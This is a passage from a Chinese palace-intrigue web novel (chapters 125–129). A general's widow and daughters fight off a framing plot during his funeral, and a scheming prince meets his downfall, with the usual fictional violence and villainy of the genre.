“好啊!好啊!你们这群杀千刀的。”老太太环顾四周,没有一个愿意为她说话的,她一咬牙嚎啕大哭起来:“国忠啊你人是没了啊,可是你在天之灵有没有看见儿媳妇是怎么欺负你的老母亲的啊……” 她哭的难听,像是被掐住脖子的公鸭嗓子,一阵一阵的嚎啕起来,震耳欲聋。 孙青莲听着脸色铁青,她猛地拍了一下桌子,瞬间桌子四分五裂,发出一声巨响。 老太太吓得往后连退两步,被身边的嬷嬷扶着站稳了:“咳咳!你,你想要干什么!你要是敢打老身,一定让安儿上奏陛下,把你休了!你们现在孙家也不行了,没有靠山了你还拽个什么劲孙青莲咳咳……” 孙青莲双手死死的交握,周身都在颤抖,但是哪怕是这一刻,她也依然完美的保持了自己身为镇国府夫人的大气和风度,只见她长吁一口气,将胸腔里的污浊吐出。 “多谢老太太提醒,今日不只是我夫君和儿子的下葬日,还是我兄长的下葬日……谢谢你提醒我孙青莲往后再也没有靠山了……谢谢。” 老太太被她这一连串的感谢堵住了嘴。 她张了张满是皱纹的嘴唇,抖了抖:“老身不是那个意思咳咳……谁让你不——” “老太太从刚刚进来到现在,都没有给国忠上一炷香,也没有提过给黎安、元白和兴朝烧过一张纸,妾身自知燕安是你的亲生儿子,谁都比不了,但是老太太扪心自问一下,这么多年,国忠他哪一点是对不起你的?你要在虎丘休憩宅院,他冒着被弹劾的风险也去给你找人修,你提一嘴想要什么吃食,哪怕是寒冬腊月,国忠也骑马给你买,这么多年过去了,哪怕是聚少离多,但是……老太太,在一起的日子里,国忠他可有半点对不起你的地方?” “国忠错在哪里?”孙青莲双眼猩红的看着老太太,超前走了两步:“错在他不是你的亲生儿子吗?可是他做的比燕安多,比燕安对你好,拿你当亲生母亲一样对待,你究竟——”她深呼吸一口,双眼死死的盯着老太太:“究竟心里有没有那么一瞬间,是把他燕国忠放在心上的!” 老太太被她问的双手止不住的颤抖:“咳咳……”她用咳嗽掩饰着自己的心虚。 孙青莲见她这样忍不住自嘲。 “你可知国忠去雁门关之前还说回来之后,要接你回京都养老……呵,他应该不知道自己永远回不来了吧。” 老太太被这一句说的直接浑身瘫软,若不是身后的嬷嬷抱住了她,她指定是坐在了地上。 此时她双眼有些朦胧。 孙青莲见她这样,心中已经是无比荒凉。 “他燕安究竟怀的是什么心,你心里应该很清楚,今日若是让他进来了,整个镇国府都将不复存在,你这些年引以为傲的镇国府老太太的名头也将随之消散,他向来是过了今天没有明天的人,倘若燕家真的没了!明日你哪怕是大街上流浪,他燕安也不会管你一下。”孙青莲又说道:“不信,你就试试。” 老太太怎么可能不信呢。 当年燕安为了不让自己流放,做了不少寒自己的心的事情,就像是燕民生那个小崽种那般对刘氏,老太太自己也是这类人,心中自然是十分清楚的。 她只是…… 只是面对燕安的请求,自己无法去狠心拒绝而已。 “门就在那里,老太太若是想开,便去开。”孙青莲抬手指着大门,然后自顾自的坐回了椅子上。 她用手中的帕子擦拭眼角的泪水,至此不再多看老太太一眼。 老太太被扶着站稳了地面,手里的拐杖在地面上戳了几下。 她咳嗽不止,看了看大门,又看了看孙青莲。 可是此时门外焦急等待的燕安不耐烦了。 他让人狠狠的拍打着大门,冲着门内大声喊道:“大哥——!弟弟来给你送行了!” 这一声大喊,将老太太原本就三魂不定的身躯,直接给吓得不轻,拐杖在地面上又抖了两下。 随后她坚定的朝着门口走去。 大厅里的所有人都盯着她的背影看。 老太太走到门口的时候,回头看了一眼大厅。 孙青莲面无表情的看着自己手里的帕子,嫡长女低头擦拭着长剑,燕家小五抱着小七坐在椅子上,小六那个丫头也是低着头不知道在想什么,一大家子没有一个人是看着自己的。 老太太颤抖着手去摸门把手。 身边的嬷嬷着急的喊了一声:“老太太!” 老太太摸着把手看向身边跟了自己多年的老人:“……你也觉得不应该开门吗?” 嬷嬷脸上都是沉痛。 此时门外的燕安听见自己母亲的声音,赶紧让人去推门,本就挪动了一大半的门把手,此刻被众人一推,瞬间打开,老太太跟嬷嬷被猝不及防的直接推倒在地上。 燕安一看见门打开,心中欣喜不已,想到了这些年在大哥光环之下所受的不公平对待,他冷笑一声,让人全部进了门。 而他只来得及将自己的老母亲扶起来,甚至来不及交给身边的嬷嬷,便直接冲进了大厅。 “来人啊!燕家通敌叛国,给本官搜证据,搜到了有赏——!” 官兵们鱼贯而入,不顾仆人的阻拦,迅速窜到了各个房间里去“搜查”。 燕安踱步到孙青莲面前,看着她神情憔悴,他面作哀痛,掩面用手背擦了擦根本不存在的泪水。 “节哀啊大嫂,大哥走了,你要好好照顾身体,不然到了天牢里,抗不了多久,就跟随去了,大哥会伤心难过的。” “若是不会说话,本郡主不建议直接割了你那碍事的舌头。”燕晚清手里的长剑发出长鸣。 燕安看着燕晚清,一点都不惧怕:“你倒是动手啊,总是动嘴皮子上的功夫,今日你动了我,罪加一等!等你下了牢,看看你还拿什么嘴硬!” 孙青莲上前两步挡在了自己女儿面前,她面容冰冷盯着燕安:“你若是想闹,也得等到你大哥下葬,如此行径,真不怕午夜轮回,你大哥质问于你么!” 燕安被她说的背上一凉,但是此时此刻已经不允许他再退缩。 “大哥若是真的通敌叛国了,等见面的时候,就是我质问他了!质问他如何对得起列祖列宗!” 孙青莲听罢再也忍不住,她抬手便直接给了燕安一巴掌,咬牙切齿:“当初真应该让你死在流放的路上!” 第一百二十五章 别忘了,你也姓燕 燕安被当众打了一巴掌,恼羞成怒:“你这泼妇!” 他扬起手,便看见原本还坐在位置上的姑娘们,迅速站起身,朝他走了过来。 她们的眼神无比冰冷刺骨。 燕安竟然抬不起手来。 等到他意识过来的时候,又觉得自己十分丢人。 于是他冷笑道:“你且嚣张着,待会儿搜到了通敌叛国的证据,看你还怎么嚣张!” “二叔就这么相信能搜到证据?”燕凌珍突然开了口,她小小的一只往前走:“你这么笃定,是因为自己早早的就放好了是么?” 燕安沉着脸瞪她:“小丫头片子胡说八道些什么呢!” “是不是,你自己心里清楚。”燕凌珍完全不客气的说道。 这个燕安看着真的很碍眼,如果不是阿姐说了不能这样冲动,她早就一包毒下去,送他上西天了,怎么还能轮得到他站在她们家,气她母亲呢! 燕凌珍捏着手心里的银针,等着燕安若是再出言不逊,她就直接悄悄给他来一针,疼死他。 燕安压根就没有把小丫头的话放在眼里,他的眼睛里都是孙青莲。 这个之前他一直想要得到,却一直得不到的女人。 过了今天,她就不再是高高在上的孙家大小姐,也不会是尊贵的镇国府夫人。 她会变成人人喊打通敌叛国的贼妇。 届时,他倒要看看这个女人要怎么才能高傲的起来! 燕安想着心里就忍不住激动。 恨不得现在就有人把通敌叛国的证据摆出来,让他好好看看面前这个女人痛哭流涕的样子。 他实在是太迫不及待了。 想要看到她惊慌失措的神情了。 燕安单手捂着自己的面颊,现在感觉这巴掌也不是不能挨了。 燕晚清站在旁边,看着燕安眼底污浊的光芒,眼底一片冰冷。 再等等。 她会让这群人都死无葬身之地。 燕晚清敛眸,收敛眼中的情绪。 就在这时,燕安的手下大声喧哗跑了过来:“找到了!找到了!”那人双手捧着一个托盘,上面明晃晃的放着一身明黄色的袍子。 “龙袍!找到了燕大人!” 燕安双眼放光,他上前将衣服拿起来,上上下下仔仔细细的看了个真切。 “果真是龙袍!”燕安满脸正义:“大胆镇国公胆敢私藏龙袍,意图谋反!简直罪大恶极,来人啊——将他拉出棺材来,鞭尸百下,以儆效尤!” 此话一出,最先反应的竟然是门口的老太太! 她连手里的拐杖都顾不得了,直接蹒跚着往大厅里走。 “不可!不可!他是你大哥,你怎可——” 燕安丝毫不理会老太太的声音,他看着孙青莲,眼里都是胜利且阴毒的笑容。 他就是要让燕家所有的人崩溃,让她们尝尝自己曾经在这里收到过的屈辱和崩溃,他万分憎恶她们团结在一起谁都拆不散的样子了,厌恶到他浑身发痒想要杀人的地步! 老太太见他不听自己的话,她上前一把拉住燕安的手:“不可!不可啊安儿!” 说完她忍不住剧烈的咳嗽起来。 燕安哪里还顾得上自己的老母亲,早就兴奋的不能再兴奋了,他抬手直接推开了老太太,朝着庭院中的棺材走去。 大哥……出来见见弟弟啊。 他完全没有看见自己的老母亲,被他这么一推,直接摔倒在了地上,等到嬷嬷扑过去将她扶起来的时候,老太太已经快要晕厥过去了。 嬷嬷坐在地上焦急的呼喊让人无法忽视。 燕凌珍在燕晚清的目光中,极其不情愿的上前给老太太把脉。 最后她蹙眉起身摇头:“……将朽枯木,回天乏术了。” 老太太这是要寿终正寝了。 “……安儿啊。”老太太朝着那燕安伸出了手,可是燕安哪里顾得上,他的眼里只有那口棺木,此时他走上前,猛地用脚揣在了棺木上面,发出一声巨响。 老太太见到这个画面,眼眶中落泪,紧跟着两眼一翻,当场就咽了气。 这老太太竟然就这样去了! 嬷嬷呼天抢地的抱着老太太的尸体开始哭喊:“二爷,老太太没了!老太太没了啊!” 燕安脸上的还有未曾褪却掉的癫狂,就听见自己老娘没了,他有些不敢置信的转过头:“你们连这种鬼话都编的出来?” 嬷嬷不敢相信的看着他,分明还是熟悉的面孔,怎么现在这般的面目狰狞。 “……老太太真的!”嬷嬷说不出话来,此刻她觉得燕安真的非常的混账。 孙青莲眼看着自己夫君的棺材落在了地上,她红着一双眼,直接抢过燕晚清手里的长剑上前,剑尖指着燕安骂道:“你和他说这么有用么!他已经着魔了。” “燕安,今日我要拿你的血来祭奠亡灵。”孙青莲捏紧手中的长剑步步逼近。 燕安超后退了两步,他看了看抱着自己老娘的嬷嬷,又看了看眼里都是杀意的孙青莲:“大胆!我乃朝廷命官,燕国忠通敌叛国罪无可恕,你此番举动罪加一等,你今日若是敢动手,他日等你的便是满门抄斩!” “满门抄斩?”孙青莲冷笑,剑尖指着燕安的脖颈:“那你也跑不了,别忘了你也姓燕。” 四周呼啦啦的围上来一群官兵,手里拿着长刀,虎视眈眈的盯着孙青莲。 燕安忌惮脖颈上的长剑,不敢轻举妄动,此时的孙青莲让他十分相信,只要自己再有什么举动,这把剑会毫不犹豫的刺穿自己的喉咙。 “让他们都退下!”孙青莲冷着脸命令着燕安。 燕安皱眉,见状孙青莲直接用剑在他面颊上一拍,挂出血痕:“退还是不退!” “退下!”燕安疯狂冲着下属摆手,下属们手持着武器慢慢的让出一条过道来。 孙青莲见状冲着燕家儿女说道:“去把你父亲的棺木重新扶好。” 等到燕国忠的棺材又被重新摆好后,众人心里才松了一口气。 燕安看着脖子上的长剑:“他们都退下了,你不要激动,咱们有话好好说,刀剑不长眼啊。” “你也知道刀剑不长眼。”孙青莲嗤笑一声,她用剑逼着燕安重新走回到了大厅里:“跪下。” 燕安没跪,旁边的燕晚清眼皮不眨直接揣在了他的腿窝,酸的他一下子跪在了老太太面前。 “燕安,你自己看看,到底是不是鬼话。” 燕安见嬷嬷哭的老泪纵横,心里一麻,上前用手摸了摸老太太的鼻息,手指一下就颤抖了起来。 真的死了…… 他老娘真的死了。 “燕安,你枉为人,今日我留你一条性命带老太太回去守灵下葬,他日再见你之时,必杀之!”她素手一番,长剑发出哀鸣,下一瞬直接插入了陈列的剑鞘之中,而孙青莲眼皮子都没有抬一下! 第一百二十六章 谁让你当初,不选择本殿 燕安抱着老太太的遗体往外走,但是临走的时候面容阴沉的让手下的人继续守在这里。 “既然搜到了通敌叛国的证据,孙青莲,我也告诉你,燕家完了!”燕安说完这句话头也不回的离开。 看着家门口被围的水泄不通,孙青莲重新坐回了了椅子上。 经过这么一闹,她已经颇为疲惫。 “还有半个时辰,可以开始动身了。”一直默不作声的燕晚清突然开口。 众人看着她有些不解,这大门都被堵着了,大家要怎么去送葬。 只见她一身白衣走到了墙上那把陈列的长剑前面,双手恭敬的将长剑从墙上取了下来。 “今天看样子会是个艳阳天。”燕晚清突然开口说道。 众人抬头看向外面的天色,还蒙蒙亮,看不真切。 那那些拿着长剑的官员们,都觉得这安平郡主莫不是受了刺激,已经得了失心疯。 这个节骨眼竟然还有心情管天气。 燕红昭从听见阿姐的话开始,便召集家丁开始将棺材都抬了起来,整整十四口,都是燕家的好儿郎。 “昔日父兄庇佑我们长大,今日便由我们守护父兄他们的黄泉路!”燕晚清将长剑拔出了剑鞘,她高声说道:“送葬——!” 她拿着长剑走在最前面,许是她的目光太过于吓人,那群士兵们竟然被她直接逼退到了大门口外面的台阶下。 燕晚清将门外的情况看的真切。 “大胆燕晚清!通敌叛国,以下犯上的证据都已经俱全,尔等竟然敢武力相比,燕家莫不是真的要反!”为首的士兵咬着后槽牙骂道。 此时旭日东升,燕晚清将长剑高举,日头在剑尖上发光。 “我父兄为大渭戎马金戈数载,若是要反早就反了,何须等到今日!尔等小人从我府上搜出一件龙袍,如此卑劣栽赃的小计谋,陛下圣人贤明,怎会被你们蒙蔽在眼里。”她双目光亮:“此乃太上皇亲赐尚方宝剑,可斩尽天底下宵小,你栽赃陷害,挑拨君臣关系,其罪当诛,本郡主送你一程。” 燕晚清说着话,从台阶上急速而下,长剑一挥,只见血溅三尺,一剑毙命。 人,当场倒地死在了镇国府的门口,吓得其他的士兵们往后急速退了五六步,就连百姓们也忍不住惊呼出声。 “在座的都看清楚了,今日谁若是阻挡了我父兄下葬,休怪我燕晚清手下不留人!” 兔子逼急了还咬人,更何况是一头本就心狠手辣的狼崽子。 原本担心燕家人的大理寺卿谢群,看着燕晚清眼皮不眨就杀了一个小人,他心里松了一口气。 “多少年,没有见到过她这种神情了。”谢群唏嘘道。 身边的师爷凑上前,踮起脚尖在人群后方看了一眼,只见那一抹白衣,手上的长剑还在滴血,神情冷漠若冰霜,人死在自己的面前,表情十分平静,当真是杀人不眨眼。 师爷捂着胸口,赶紧收回了视线。 “看来安平郡主一个人就能解决,那大人还让我们带这么多人干什么?” 谢群白了他一眼。 “你以为这就是结束吗?”谢群冷哼一声:“今日镇国公下葬之日,一定会出现很多事情,有多少人都眼巴巴的等着这一天出来作妖呢,眼下镇国府都是女眷,我等儿郎岂能没有一丁点血性?!这土地之上,遍洒燕家儿郎的血汗,他们为了大渭的安宁,三过家门而不入是时常有的事情,眼下人没了,我们连送他一程的勇气都没有了吗?!” 谢群说的慷慨激昂,让身边的百姓不断的侧目,不少人都捏紧了拳头,心中热血沸腾,觉得谢群说得对。 师爷被感动的一塌糊涂,他也捏紧了手里的木棍。 “是的,我们这帮男子,一定要保护好燕家的女眷,不让她们被欺负了去!不然传出去我们都不配带个把!” 此时十四口棺材已经全部被拉了出来,孙青莲走在最前面,燕晚清跟在她的身后,再往后便是燕家的其他姊妹,燕红昭走在队伍的中间,燕凌珍在最末端,包括年纪最小的燕子濯,手里也捏着一根弹弓,那是大哥送给他五岁的生辰礼物。 漫天的黄白纸钱迎风飘扬,两岸夹道百姓们无声跟随,这个阵仗哪怕是皇亲国戚都没有过的待遇,镇国公在民间的威望不容小觑。 即将要走到城门口的时候,却看见城门口紧闭。 孙青莲和燕晚清相视一眼。 燕晚清走到了队伍的最前面。 此时城门口已经不是寻常的守卫军,已然换上了当时护送父亲他们回来的铁甲军。 只看见一人身形颀长,身着黑袍站在队伍的最前方,正是几日不见的萧鸿深。 他缓缓转过身,在看见燕晚清的时候,一双深情的桃花眼温柔的落在了她的脸上。 “老师,好久不见。” 燕晚清看着周围的阵仗,面无表情:“七皇子这是要拦我?” “抱歉老师,实在是证据确凿,本殿别无他法。”他招了招手,那个被在镇国府搜出来的龙袍此刻被送到了他们面前。 燕晚清余光扫了一眼,便没有再看了。 “燕安栽赃陷害,本郡主后面会拿出证据,此时还希望七皇子能够看在往日情分上,打开城门,让我父兄安然下葬。” 七皇子侧着身子看了看燕晚清身后的一众人,摇着头叹气。 “老师还是不要为难本殿,通敌叛国,意图谋反那可是诛九族的重罪,哪怕是下了葬,也要被挖出来鞭尸的,老师何苦让镇国公他们受到这种颠簸。”萧鸿深表情遗憾的开口:“不如这样,本殿向你保证,等事情真相大白,倘若真的是污蔑,父皇定会严惩不贷,届时不会放过任何一个往镇国府和将军府身上泼脏水的人!” “真相大白?”燕晚清冷笑一声,似乎听到了什么好笑的东西,她几乎要笑弯了腰,眼眶里都是湿冷的泪水:“本就是凭空捏造,何须真相大白?!” “让开——!”燕晚清伸出手抹掉眼角的泪水,笑意收敛,她冷若冰霜的开口:“否则休怪我剑下无情。” 萧鸿深见她这般,也不再故作温柔:“既然老师冥顽不灵,非要拉着镇国府的名誉做赌注,那么本殿也只能成全老师了。” “不要叫我老师,不过是教导你几日光景,我承受不住,而且你喊我老师的样子,真的很让人恶心。”燕晚清压低声音凑上前去说道。 萧鸿深瞬间眯起了双眼,表情愠怒:“你!” 燕晚清往后退了半步,拉开了两人之间的距离:“萧鸿深,打开城门。” 面对这样的命令,萧鸿深眼角都是讽刺:“燕晚清,你哪来的底气?你当自己什么身份?敢来命令本殿。” “哦——本殿懂了,你依仗的不是镇国府,而是那远在北部战场的太子殿下,可是怎么办?远水救不了近火,你在这里痛苦不堪,他根本对此一无所知。”萧鸿深咋舌:“又或者,你想的是北疆的小侯爷?江南路途遥远,哪怕是水患治理的井井有条,但是此时他也回不到你的身边,帮不了你啊。” “燕晚清啊燕晚清……只有本殿在,可是谁让你当初不选择本殿呢!” 第一百二十七章 生死不论,这是军令 燕晚清听完萧鸿深说的话,只是轻哼一声。 “你知道为什么不选你么?” 萧鸿深目光阴翳的看着她。 “因为你不配。”此时日头已经完全上来,照耀在城门口的两个人身上,拉出斜长的身影。 听到燕晚清嘴里吐出的话语,萧鸿深眼底闪过杀意。 “燕晚清,你真该死。”他咬着后槽牙阴厉说出这句话,然后伸出手直接让铁甲军上前:“镇国府冥顽不灵,负隅顽抗,现本殿允许你们武力镇压,生死不论!” 此话一出,比铁甲军更快的竟然是周围的老百姓,他们呼啸而来将燕家人包围在其中。 “镇国公一生忠君爱国,光明磊落,根本不可能通敌叛国!” “你们要想伤害镇国公,就从我们的尸体上踏过去!” “对!踏过去!” …… 百姓们自发将燕家人全部护住,燕晚清满眼热泪,她轻笑着看着萧鸿深,仿佛在看一个小丑。 “看到没。”她说。 萧鸿深面色铁青,冲着铁甲军发火:“负隅顽抗,生死不论,这是军令!” 铁甲军首领看着百姓们无所畏惧的脸色,有些游移:“可是他们只是普通老百姓……” “老百姓?”萧鸿深轻启开口:“哪里有老百姓?本殿只看见一群协助反贼的刁民。” 此话一出,铁甲军首领眼神中都带着不赞成,但是萧鸿深说了这是军令,他也有一家老小,这件事情他不能违抗,于是他咬了咬牙对着兄弟们喊道:“上!” 燕晚清将剑拔出剑鞘,冷着一张俏脸:“尚方宝剑在此,谁敢造次!” “尚方宝剑……”铁甲军首领迟疑了。 萧鸿深早就听闻燕家有尚方宝剑,没有想到今日会见到燕晚清拿了出来,这是她最后的底牌了吧。 见状他轻蔑的笑出了声:“通敌叛国的逆贼,也敢拿着尚方宝剑叫嚣,简直是贻笑大方,还不速速前去拿下,将太上皇的尚方宝剑拿回来!” “慢着!”燕晚清突然开口。 萧鸿深皱着眉头看她:“你还想说什么?后悔了,想向本殿求饶了么?”他阴毒的勾唇:“晚了,本殿给过你机会,是你自己不珍惜。” “除非你现在当众脱掉衣服,说你燕晚清此生此世都愿意当本殿的狗,那么本殿还能网开一面,让你今日安安稳稳的给你父兄们下葬。”后面这句话,萧鸿深压低了声音对着燕晚清说。 只是后面的人听不到,铁甲军首领可是全部都听见了,当下面色十分难堪起来。 安平郡主昔日也曾领导过他在战场上杀敌。 那运筹帷幄的气势和骁勇善战的姿态也是一直铭刻在诸位将士的心理的。 谁都不能接受自己心里的神话被如此污蔑。 当下铁甲军就有些松懈下来。 萧鸿深对此一无所知。 他的眼里只有燕晚清。 他太渴望从燕晚清的嘴里得到一个答案,这个世界上除了至高无上的皇位,没有什么能够比让这个女子匍匐在自己脚边更加让他觉得刺激的了。 燕晚清听着萧鸿深嘴里吐出来的话语,心中恶心的想吐,她冷笑一声,看着日头又将他们的身影拉短些许。 她对着萧鸿深说道:“时间不早了。” “是的时间不早了,郡主应该早早做出决断了。”萧鸿深接过话说道。 燕晚清目光突然带着怜悯:“我说的是,留给你萧鸿深的时间不多了。” “你什么意思……”萧鸿深猛地蹙眉:“你是在拖延时间?” 可是她拖延时间要干什么呢? 燕家交好的世家早就被他警告过,再也不敢出面了。 太子远在战场,小侯爷还在回京都的路上,一时半会儿根本不可能出现。 那么燕晚清还能够依仗谁? 就在这时,一阵马蹄声从人群后方响起,被拦在外面的公公急的不行。 他大声喊道:“皇后娘娘有旨!闲杂人等速速让开!” 萧鸿深将视线收回,他原本的慌张稍微安定些许:“皇后娘娘?” 区区张岚依,他可没有放在眼里。 燕晚清将他眼里的轻蔑尽收眼底,没有吭声。 藏在人群中的谢群赶紧让人将百姓们隔开,让出一条道来,让公公过去。 只看见那公公拿着诏书到了城门口,翻身下马。 “七皇子殿下接旨吧。” 萧鸿深懒散的扫了一眼那公公:“本殿正在捉拿叛贼,皇后娘娘若是有什么旨意,还是等这件事情结束之后,本殿亲自进宫向她说明吧。” 言下之意便是直接要拒绝接旨了。 公公沉下脸来。 他是皇后的人,自然是见不得这种不尊敬皇后的行为。 更何况眼下七皇子虽然大权在握,可皇位这种事情本就是九死一生,他八字都没用一瞥的事情,眼下就目中无人了,看来往后也难成什么大器。 公公也是跟着王朝沉浮的,心里和明镜似的。 他冷冷的说道:“殿下不妨听听诏书上说了什么,再做决断的好。” 萧鸿深满眼都是不赖烦:“稍后再接。” “七皇子殿下!”公公沉声呵斥道。 萧鸿深瞬间抬眼看过去,蛇眼阴翳,看着公公如同在看具尸体。 这等贱奴,竟敢对他耀武扬威。 张岚依和她手里的贱奴才,都该死。 公公完全不被萧鸿深的目光所吓住,他刚打开诏书就要宣读,萧鸿深直接从他的手中夺走了诏书,只看了一眼,便迅速合上。 他原本还气定神闲的面色,这一刻苍白似鬼。 他迅速看向燕晚清:“你是皇后的人。” 燕晚清没说话,但是也没有否认。 他紧蹙眉头:“你竟然选择了皇后……愚蠢!”他将诏书捏在手里,抢过公公身边的马匹,翻身上马,二话不说朝着宫门骑去。 此时铁甲军在门口站着,燕晚清冷冷的扫过去:“劳烦,开城门。” 铁甲军首领只迟疑了片刻,便挥手让手下开了城门,燕家人这才开始继续送葬。 再说七皇子萧鸿深捏着诏书,不顾后宫侍卫的阻拦,一路闯到了皇后的寝宫。 他进门便看见张岚依坐在椅子上,丫鬟们正在给她捏肩捶背。 “皇后娘娘这是要跟本殿宣战?” 诏书上清楚明白的写着林平之之前利用职责之便,替他敛财的事情,而且账本也被父皇看到了,这才有了张岚依代为传诏的举动。 张岚依往嘴里塞了一颗荔枝,甜的她眯起了狐狸眼。 “七皇子殿下见谅啊,本宫只是做了自己身为大渭臣民应该做的事情而已。” 萧鸿深冷笑着将诏书丢在了地上:“好!都跟本殿作对是吧,可以!”他转身从宫门出去。 跟他作对,就都得死! 张岚依坐直了身子,看着他头也不回的离开,心里都是冷笑。 皇帝此时已经清醒了。 萧鸿深这一次少说也得脱层皮。 不过可惜,远不止于此。 等到那小狼崽子送完葬,精彩的还在后面。 第一百二十八章 大鱼,出现 御书房内。 萧鸿深匍匐在地上。 皇帝坐在椅子上,目光森冷的盯着他。 “证据都已经放在朕的面前了,你还有什么话好说的!” 萧鸿深佝偻着身子,无比卑微:“儿臣只是被那林平之蛊惑,一时之间有了贪念,都是儿臣的错,请父皇责罚儿臣。” “责罚你便能堵住大臣和天下百姓的悠悠众口了?!责罚你朕丢掉的脸面就能自己回来了?!你好大的胆子啊!”皇帝猛地一拍桌子,气得肥胖的身躯上下浮动,身边的太监赶紧上前帮他顺气,皇帝不耐烦的推开太监。 “老七,你靠着自己的本事逼走了太子,让朕高看了你一眼,只是你怎么就这么不上道呢?区区一个江南,便让你酿成如此大祸!你说你让朕这下子怎么收场!” “求父皇责罚。”萧鸿深知道此事已经无力回天,不打算再胡搅蛮缠,物证已经被皇后张岚依亲自交给了皇帝,眼下他说什么都是错的,还不如就这么认下所有的错误,让皇帝责罚消气。 皇帝看着他小家子气的那个样子,气不打一处来,顺手抄起桌子上刚刚不知道哪位妃子送上来的银耳汤,连碗带汤悉数泼在了他的身上。 滚烫的银耳汤瞬间将萧鸿深白嫩的脸上烫出了红印。 皇帝指着他骂道:“你敢擦一下试试。” 萧鸿深抬起的手瞬间放在了地上,头皮乃至面部的疼痛让他放在地上的双手都死死的握成了拳头,真的就一下子都没有擦拭。 皇帝见状冷哼一声,心情好了点。 看着他跟狗一样顺从的跪在地上。 他忍不住去想太子面对这种情况会是什么样子的。 不。 太子不会让这种情况发生。 那个完美的好像是天神下凡的孩子,皇帝有时候面对他都觉得不真切,倘若不是对先后的忠贞度有信心,他真的怀疑那个孩子不是自己生的了。 太过于完美,所有的大臣都夸耀他是苍天恩赐给大渭的福运,越发衬托着他这个父皇显得十分卑劣。 他不顾百姓死活,沉迷于修炼仙丹,沉迷于道家所说的飞升,期望能够达成长生的愿望。 把所有的一切都交给太子打理,不过六十的年纪,却貌若老耋…… 皇帝想到这里,心里就越发的不舒服了。 太子太好了,所以他在这群孩子里最不喜欢的就是太子。 都是那群老臣逼着他立了萧蘋风太子,否则他是无论如何都不会立太子的。 眼下他去了北部战场,直接从自己的面前消失,眼不见为净。 说实话,看到他跪在地上请求出征的时候,皇帝心里是松了一口气的,因为那段时间不少老臣都在逼着他赶紧立下传位诏书,绝了其他皇子的狼子野心。 他没有。 他不会写传位诏书。 皇帝目光落在地上的萧鸿深身上,眼前这个孩子就是他扫清一切障碍最好用的棋子。 等到他真的得道升天,长命百岁之后,整个大渭乃至六国都等着他一统,凭什么要将自己好不容易得来的皇位,传给别人? 皇帝语重心长的对着萧鸿深开口了:“你原本是朕这群孩子里最不起眼的存在,可是你看你现在做得多好,韬光养晦,一朝天下皆知,你的行事作风比太子更像朕,这段时间你就先休息休息,不要再逮着镇国府和将军府不放了。” 萧鸿深始终低着头,唯唯诺诺的,皇帝说什么他便答应什么。 看到这里,皇帝终于心满意足了。 “朕知道你想要什么,放心,朕会给你的。”说完这句话,皇帝便让太监将萧鸿深送了出去。 萧鸿深一直退到了门外,他才慢慢直起了身子,眼底的阴毒触目惊心。 倘若皇帝此刻见了,都要心寒的程度。 只见他死死地透着门缝看向里面。 里面的皇帝咳嗽着,身边的太监宫女手忙交换的上前,被他一阵谩骂,荒唐至极的画面。 萧鸿深眯了眯眼睛,转过了身。 “休息?”他呢喃着这两个字。 他不可能休息的。 开弓没有回头箭。 眼下谁让他休息,无疑是在要了他的命。 朝中谁反对他,他便解决掉谁,直到满朝文武都是拥护他的声音为止。 至于镇国府和将军府。 他回忆起今日燕晚清看向自己的目光,似乎一下子回到了当年她意气风发的时候。 那个时候他是宫殿里最卑微的皇子,身份就像是地沟里不上台面的老鼠,没有人记得他还是皇帝的儿子,那些宫女太监肆意凌辱打骂自己。 就在他每天疼的倒在宫墙下面的时候,总能听见外面传来少男少女的欢呼声。 他们永远呼喊着一个名字。 燕晚清。 一墙之隔。 她是所有人簇拥的对象。 他是身份卑鄙被人嫌弃的老鼠。 那个时候,他便将这三个字死死的铭刻在了心里。 直到后来,她终于进了宫,在一个老太监的手里救下了被脱得精光的自己。 她将毯子盖在自己身上,告诉他坏人已经死了的时候,血珠溅在她翘鼻上恍若一颗红痣的光景,实在美的触目惊心。 美到这么多年过去,萧鸿深依然会在心里想的发痒。 他要让燕晚清从云端跌下来,跌倒尘土里,打碎她的一身傲骨,让她服服帖帖的跪在自己面前,心甘情愿的臣服于他。 可是今日她的行为证明,她仍然不可小觑。 打败她,让她心悦诚服的路上,仍然举步艰难。 可是越是这样,萧鸿深就越发觉得很有意思。 不因为别的,就因为她是燕晚清。 萧鸿深伸出手摘掉了发丝上黏腻的银耳,抬脚朝着外面走去。 不久后他站在一处亭子里。 此时的他已经换上了另外一套衣服,发丝也清洗干净,正背对着凉亭朝着池塘里丢着鱼食。 五颜六色的金鱼争先恐后的将他丢下去的鱼食吞噬干净,在水面拍打着浪花。 此时身后传来了脚步声。 萧鸿深没有回头,他的语气十分的冷淡。 “你的计划失败了。” 来人从他手中接过鱼食,倏地全部丢了下去,瞬息间池塘里就像是炸开了锅,更多的金鱼蜂拥而来,争抢着食物。 只听见他慢条斯理的说道。 “还不到最后孩子,你想要的一切都会成功,我答应了你的母亲,会照顾好你的。” 第一百二十九章 登闻鼓,刀山火海 “又是这句话。”萧鸿深不耐的打断他:“每次都是这句话,你说的烦不烦?本殿究竟还要等多久!你知不知道那个狗皇帝今日对本殿做了什么!他竟然拿银耳羹砸本殿的头啊……” “孩子。”那人面对萧鸿深的愤怒,依旧十分温和:“心急吃不了热豆腐。” “眼下萧蘋风已经不在宫中,镇国府和将军府也垮台了,除了孙家的长子孙鸿煊,剩下的就都是女流之辈……”萧鸿深眼中都是阴翳:“你究竟还要本殿等多久?!” “今日你在燕晚清哪里吃的亏,还不够明白么,燕孙两家百年根基,不是那么好推倒的。你若是还相信我,便耐心等下去,大渭必将是你的,你若是不相信,我也没有别的办法。”那人叹了一口气,从怀中掏出了一把蛇形匕首。 他将匕首打开又合上,最后放在凉亭的石桌上。 “这个东西送给你,关键时候能够救你一命。” 说完,他径直离开了凉亭。 萧鸿深将桌子上的匕首拿了起来,伸出手去碰了一下匕刃,很快指腹渗出血迹。 是一把削铁如泥不可多得的利刃。 他看着那人消失的背影,眼中心事重重。 此时已经日上三竿,镇国府和将军府应该已经下葬结束了。 就在此时,突然听到天边炸开一片雷声,震耳欲聋,萧鸿深蓦地觉得心跳加速,他飞快走出凉亭,随手抓住一个宫人:“怎么回事?何人敲打登闻鼓!” 宫人面若纸张:“回禀七皇子殿下,是,是安平郡主!” “什么?!”萧鸿深松开宫人,皱眉站在了原地。 那燕晚清竟然敲了登闻鼓。 此时宫门之外,燕晚清一身素衣,不施粉黛的脸上都是平静,她扬起手一下又一下的敲打着登闻鼓。 她本来是有着直接进宫的特权。 可是眼下她不用,她要以一个寻常老百姓的身份走到皇帝的面前。 在她的身后是燕家的姊妹。 一声接着一声。 